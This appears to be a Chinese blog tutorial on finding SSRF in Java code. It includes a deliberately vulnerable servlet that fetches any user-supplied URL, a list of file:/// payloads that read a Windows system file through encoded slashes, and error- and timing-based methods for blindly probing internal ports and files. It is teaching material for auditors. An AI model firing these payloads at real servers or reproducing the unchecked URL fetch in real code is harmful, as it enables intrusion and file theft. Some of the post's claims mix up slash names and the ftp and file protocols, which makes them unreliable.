java代码审计6之ssrf

之前的文章,
php代码审计8之SSRF

1、java支持的网络请求协议:

file ftp mailto http https jar netdoc

在jdk1.7(含)以下还支持gopher协议;

在这里插入图片描述
小结:

Java中的SSRF相比php危害会小一些

遇到ssrf尝试使用ftp://来读取一些文件

2、Java 中能发起⽹络请求的类

2.1、仅⽀持 HTTP/HTTPS 协议的类

HttpClient 					类
HttpURLConnection 			类
OkHttp 						类
Request 					类

2.2、⽀持 sun.net.www.protocol 所有协议的类

URLConnection 			类
URL 					类
ImageIO 				类

2.3、审计关键词


HttpClient.execute
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL.openStream
URLConnection.getInputStream
Request.Get.execute
Request.Post.execute
ImageIO.read
OkHttpClient.newCall.execute
HttpServletRequest
BasicHttpRequest

3、靶场

3.1、漏洞代码1

package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
@WebServlet("/ssrf1")
public class test extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        req.setCharacterEncoding("utf-8");
        resp.setCharacterEncoding("utf-8");
        resp.setContentType("text/html; charset=utf-8");
        String url = req.getParameter("url");
        System.out.println(url);
        StringBuffer sb = new StringBuffer();
        URL pic = new URL(url);
        URLConnection urlConnection = pic.openConnection();
        BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream(),"UTF-8"));
        String line;
        while ((line =in.readLine())!=null){
            sb.append(line);
        }
        in.close();
        resp.getWriter().write(sb.toString());
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp
    ) throws ServletException, IOException {
        this.doGet(req,resp);
    }
}

3.2、ftp协议读取技巧

使用斜杠“\”全失败,但是编码后的“%5c”都可以成功

使用反斜杠“/”都成功,编码后的“%2f”都可以成功

不使用斜杠/反斜杠也可以成功
ssrf1?url=file:///c:\windows%5c%5cwin.ini					失败
ssrf1?url=file:///c:\\windows%5c%5cwin.ini					失败
ssrf1?url=file:///c:\\\windows%5c%5cwin.ini					失败

、、下边都成功
ssrf1?url=file:///c:%5cwindows%5c%5cwin.ini
ssrf1?url=file:///c:%5c%5cwindows%5c%5cwin.ini			
ssrf1?url=file:///c:%5c%5c%5cwindows%5c%5cwin.ini
ssrf1?url=file:///c:%5c%5c%5c%5cwindows%5c%5cwin.ini


ssrf1?url=file:///c:windows%5c%5cwin.ini						、、不加斜杠或者反斜杠


、、下边都成功,都是反斜杠“/”或者其编码的
ssrf1?url=file:///c:/windows%5c%5cwin.ini						
ssrf1?url=file:///c://windows%5c%5cwin.ini					
ssrf1?url=file:///c:///windows%5c%5cwin.ini					
ssrf1?url=file:///c:windows%5c%5cwin.ini				
ssrf1?url=file:///c:%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2f%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2f%2f%2fwindows%5c%5cwin.ini
另外在之前的任意文件读取之中,说到任意文件读取在win系统的情况下不能跨磁盘读取,
	
	比如代码在D盘就无法读取C盘的内容

但是经过测试,ssrf使用ftp协议是可以跨磁盘读取的,

这里问题应该在与“ftp协议”本身就可以读取任何磁盘内容

3.3、无回显之探测内网

ssrf无回显的情况很常见,测试思路就是使用外部平台配合,

这个基础的问题不是今天要说的,要说的是根据不同的报错来确认文件,


当访问不通的端口时,提示链接被拒绝,
	
	Connection refused: connect

在这里插入图片描述
访问通顺的端口且文件存在时,
在这里插入图片描述
当访问通顺的端口文件不存在时,
在这里插入图片描述
小结,

访问畅通的端口且文件不存在时,可能会报错,且返回时间最短

访问畅通的端口且文件存在时,没有报错,返回时间比上边差不太多(实际之中可能较难区分)

访问不畅通的端口时,可能会报错,且返回时间明显比上述长

3.4、无回显之探测文件

探测存在的文件时,一切正常,

在这里插入图片描述
探测不存在的文件时,报错
在这里插入图片描述
小结,

访问存在的文件,一切正常

访问不存在的文件,可能会返回报错,

但是以上两种请求,时间几乎一致
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

划水的小白白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值